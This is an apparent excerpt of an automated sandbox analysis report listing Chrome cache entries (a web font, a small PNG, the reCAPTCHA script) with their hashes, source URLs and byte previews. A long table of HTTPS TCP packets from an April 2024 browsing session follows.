File Type:	Web Open Font Format (Version 2), TrueType, length 28584, version 1.66
Category:	downloaded
Size (bytes):	28584
Entropy (8bit):	7.992563951996154
Encrypted:	true
SSDEEP:	768:8n53CNftp4NM/2qxGvtAG9fvpWYSTvlj6OIqrd1xUseRc:85SNfQS2ntfxvpWYSTcfMERc
MD5:	17081510F3A6F2F619EC8C6F244523C7
SHA1:	87F34B2A1532C50F2A424C345D03FE028DB35635
SHA-256:	2C7292014E2EF00374AEB63691D9F23159A010455784EE0B274BA7DB2BCCA956
SHA-512:	E27976F77797AD93160AF35714D733FD9E729A9981D8A6F555807981D08D8175E02692AA5EA6E59CEBD33895F5F6A3575692565FDD75667630DAB158627A1005
Malicious:	false
Reputation:	low
URL:	https://o5u7g.zleu9.com/78OF5bqYVtW234tiXjpuv60
Preview:	wOF2......o.......6x..oG...B.......................>....`..<.<..b.....h..B.6.$..x..>.. ..'..{...[x"q..].....hJ....'.......6.2.[....q....z..mCww....eU..S.........0..S.s..,....\.e..F.&....oUR.}Q.C..2.TD....5..#..h.H.2.\|<.1.z..].xZ...z..z..W.........p%..F.e.r"yG.......f.M3.].U.p...E..<..:..j..E......t....!....~a...J.m....f.d.eE..>.:.9.....,6K{.q..6e..4:z......{.{....$.. ...B....9:0.G..6.9R....m..jCW.m.]:{.p..?P.O.B..E....u.J.._..........dd=. l..SJ..fjm....\....)...6......mV.`.J.R.A..R.....J...T.y.........m...k-....{'.Ud"...C.$d.N 9}.N]..2p.q.T..6.-A.U...."..o.\......uh...$..4j..v...9....anl/NT....K....k..A...........U5S.=.t[.)/s.R.......F..)6H A..'?!....7S.....w:.%.H.@...l?...lm..lUd D...-.... .......5).`..w&..Q....-.. ...9.Xt./SQ?.s+u.9..\.h.l.G.#...#@.F..f.1.f..=`....p.....=c..f=..p 4By.u.z'...$;.s.....z.....X..n6y-...........<.......X......~+j.z.j.......7.PD..O..w..9..8].!~C&.......LCE..Nf~.N.eJ.iXnXC.&....t.U..Nr.@..lZ.... .X..

Chrome Cache Entry: 98

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 99

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (597)
Category:	downloaded
Size (bytes):	518479
Entropy (8bit):	5.683759340720687
Encrypted:	false
SSDEEP:	12288:wTJtYdv7tmjTEyw+Z8ML8Vo1ukBO1N34PS+H7wIqBG7iIXXON2R+:kEcLVuN2R+
MD5:	8326C23D6B3EED35BC3E62F3294587FD
SHA1:	EDDA17E74E53E85073E5EAC9CB6BE2163DBFA23C
SHA-256:	57F03D3BA66117EDC152646341120DD3A1D7D71B9A98A3723AF5A8AE61BCB3AB
SHA-512:	F63FAEEA0ACCAC3FA74CF6168B319D901EDE869A83E7E6129158A120008E70E5B239BBBFF3159917F8AEEFCF997916A778AE21900B22035657E05AAAE9EBAAC0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 08:21:01.181586027 CEST	49673	443	192.168.2.6	173.222.162.64
Apr 24, 2024 08:21:01.181622982 CEST	49674	443	192.168.2.6	173.222.162.64
Apr 24, 2024 08:21:01.494155884 CEST	49672	443	192.168.2.6	173.222.162.64
Apr 24, 2024 08:21:07.585345984 CEST	443	49705	173.222.162.64	192.168.2.6
Apr 24, 2024 08:21:07.585557938 CEST	49705	443	192.168.2.6	173.222.162.64
Apr 24, 2024 08:21:09.303884983 CEST	49715	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:09.303924084 CEST	443	49715	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:09.304008007 CEST	49715	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:09.305094957 CEST	49715	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:09.305110931 CEST	443	49715	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:09.977732897 CEST	443	49715	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:09.977848053 CEST	49715	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:09.986941099 CEST	49715	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:09.986951113 CEST	443	49715	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:09.987359047 CEST	443	49715	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:09.990643024 CEST	49715	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:09.990739107 CEST	49715	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:09.990742922 CEST	443	49715	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:09.990943909 CEST	49715	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:10.032200098 CEST	443	49715	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:10.209861994 CEST	443	49715	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:10.209968090 CEST	443	49715	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:10.210042000 CEST	49715	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:10.210737944 CEST	49715	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:10.210755110 CEST	443	49715	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:10.452068090 CEST	49716	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:10.452111959 CEST	443	49716	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:10.452512980 CEST	49716	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:10.452532053 CEST	49717	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:10.452559948 CEST	443	49717	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:10.452622890 CEST	49717	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:10.452828884 CEST	49717	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:10.452847958 CEST	443	49717	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:10.452971935 CEST	49716	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:10.452986002 CEST	443	49716	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:10.553066969 CEST	49718	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:21:10.553117990 CEST	443	49718	142.250.141.103	192.168.2.6
Apr 24, 2024 08:21:10.553206921 CEST	49718	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:21:10.553586006 CEST	49718	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:21:10.553600073 CEST	443	49718	142.250.141.103	192.168.2.6
Apr 24, 2024 08:21:10.790709972 CEST	49674	443	192.168.2.6	173.222.162.64
Apr 24, 2024 08:21:10.790715933 CEST	49673	443	192.168.2.6	173.222.162.64
Apr 24, 2024 08:21:10.927781105 CEST	443	49718	142.250.141.103	192.168.2.6
Apr 24, 2024 08:21:10.928087950 CEST	49718	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:21:10.928108931 CEST	443	49718	142.250.141.103	192.168.2.6
Apr 24, 2024 08:21:10.929243088 CEST	443	49718	142.250.141.103	192.168.2.6
Apr 24, 2024 08:21:10.929335117 CEST	49718	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:21:10.935071945 CEST	49718	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:21:10.935157061 CEST	443	49718	142.250.141.103	192.168.2.6
Apr 24, 2024 08:21:10.978734970 CEST	49718	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:21:10.978744030 CEST	443	49718	142.250.141.103	192.168.2.6
Apr 24, 2024 08:21:11.025147915 CEST	49718	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:21:11.103080034 CEST	49672	443	192.168.2.6	173.222.162.64
Apr 24, 2024 08:21:11.113970041 CEST	443	49716	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:11.114373922 CEST	49716	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:11.114397049 CEST	443	49716	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:11.114572048 CEST	443	49717	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:11.114867926 CEST	49717	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:11.114891052 CEST	443	49717	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:11.115868092 CEST	443	49716	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:11.115930080 CEST	443	49717	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:11.115936041 CEST	49716	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:11.115998030 CEST	49717	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:11.128765106 CEST	49716	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:11.128912926 CEST	443	49716	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:11.129987955 CEST	49717	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:11.130096912 CEST	443	49717	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:11.130103111 CEST	49716	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:11.130134106 CEST	443	49716	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:11.177125931 CEST	49717	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:11.177144051 CEST	443	49717	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:11.177145004 CEST	49716	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:11.228132963 CEST	49717	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:11.347455978 CEST	443	49716	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:11.347625017 CEST	443	49716	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:11.347825050 CEST	49716	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:11.354733944 CEST	49716	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:21:11.354764938 CEST	443	49716	167.89.115.54	192.168.2.6
Apr 24, 2024 08:21:11.543296099 CEST	49721	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:11.543338060 CEST	443	49721	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:11.543401957 CEST	49721	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:11.543823004 CEST	49721	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:11.543833017 CEST	443	49721	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:12.037209988 CEST	443	49721	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:12.037535906 CEST	49721	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:12.037563086 CEST	443	49721	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:12.039011955 CEST	443	49721	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:12.039077044 CEST	49721	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:12.041735888 CEST	49721	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:12.041838884 CEST	443	49721	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:12.042135000 CEST	49721	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:12.042143106 CEST	443	49721	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:12.085733891 CEST	49721	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:12.681471109 CEST	443	49721	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:12.681653023 CEST	443	49721	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:12.682010889 CEST	49721	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:12.682996035 CEST	49721	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:12.683020115 CEST	443	49721	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:13.117611885 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:13.117649078 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:13.117722988 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:13.118046999 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:13.118065119 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:13.611823082 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:13.612724066 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:13.612740040 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:13.613709927 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:13.613805056 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:13.624195099 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:13.624279976 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:13.624624014 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:13.624645948 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:13.666102886 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.128438950 CEST	49723	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:14.128492117 CEST	443	49723	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:14.128562927 CEST	49723	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:14.130727053 CEST	49723	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:14.130739927 CEST	443	49723	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:14.483998060 CEST	443	49723	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:14.484092951 CEST	49723	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:14.490165949 CEST	49723	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:14.490186930 CEST	443	49723	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:14.490601063 CEST	443	49723	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:14.540396929 CEST	49723	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:14.552412987 CEST	49723	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:14.600115061 CEST	443	49723	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:14.640049934 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.640073061 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.640081882 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.640114069 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.640145063 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.640180111 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.640193939 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.640258074 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.640790939 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.640808105 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.640858889 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.640873909 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.640918016 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.800029993 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.800049067 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.800123930 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.800137043 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.800193071 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.800803900 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.800818920 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.800889969 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.800896883 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.800940990 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.801522970 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.801537037 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.801593065 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.801599026 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.801655054 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.810516119 CEST	443	49723	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:14.810723066 CEST	49723	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:14.810751915 CEST	443	49723	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:14.810762882 CEST	49723	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:14.810945034 CEST	443	49723	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:14.810981035 CEST	443	49723	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:14.811043024 CEST	49723	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:14.853640079 CEST	49724	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:14.853677988 CEST	443	49724	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:14.853743076 CEST	49724	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:14.854135990 CEST	49724	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:14.854150057 CEST	443	49724	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:14.959537983 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.959566116 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.959613085 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.959626913 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.959666014 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.964719057 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.964790106 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.964793921 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.964806080 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.964850903 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.965390921 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.965414047 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.965467930 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.965476036 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.965516090 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.966319084 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.966339111 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.966387033 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.966393948 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.966440916 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.966758013 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.966814041 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.966855049 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.966913939 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.967477083 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.967535019 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.967540979 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:14.967549086 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:14.967588902 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.118953943 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.119043112 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.119069099 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.119131088 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.124856949 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.124963999 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.124977112 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.125037909 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.125749111 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.125808954 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.125910044 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.125967026 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.126586914 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.126621962 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.126662016 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.126671076 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.126746893 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.126746893 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.126995087 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.127058983 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.127171040 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.127244949 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.127634048 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.127660036 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.127706051 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.127711058 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.127759933 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.128547907 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.128578901 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.128622055 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.128628016 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.128683090 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.129010916 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.129118919 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.129267931 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.129336119 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.129672050 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.129731894 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.129764080 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.129770041 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.129798889 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.129816055 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.130333900 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.130400896 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.130467892 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.130532980 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.130956888 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.130985022 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.131027937 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.131033897 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.131064892 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.131083012 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.131763935 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.131850004 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.131903887 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.131967068 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.132268906 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.132569075 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.132589102 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.132666111 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.132673025 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.132716894 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.138284922 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.138541937 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.204816103 CEST	443	49724	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:15.204917908 CEST	49724	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:15.216980934 CEST	49724	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:15.216996908 CEST	443	49724	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:15.217897892 CEST	443	49724	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:15.222346067 CEST	49724	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:15.268110991 CEST	443	49724	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:15.285003901 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.285032988 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.285075903 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.285084963 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.285119057 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.285139084 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.285485029 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.285511017 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.285540104 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.285556078 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.285578012 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.285600901 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.286039114 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.286062002 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.286098003 CEST	49722	443	192.168.2.6	13.107.246.69
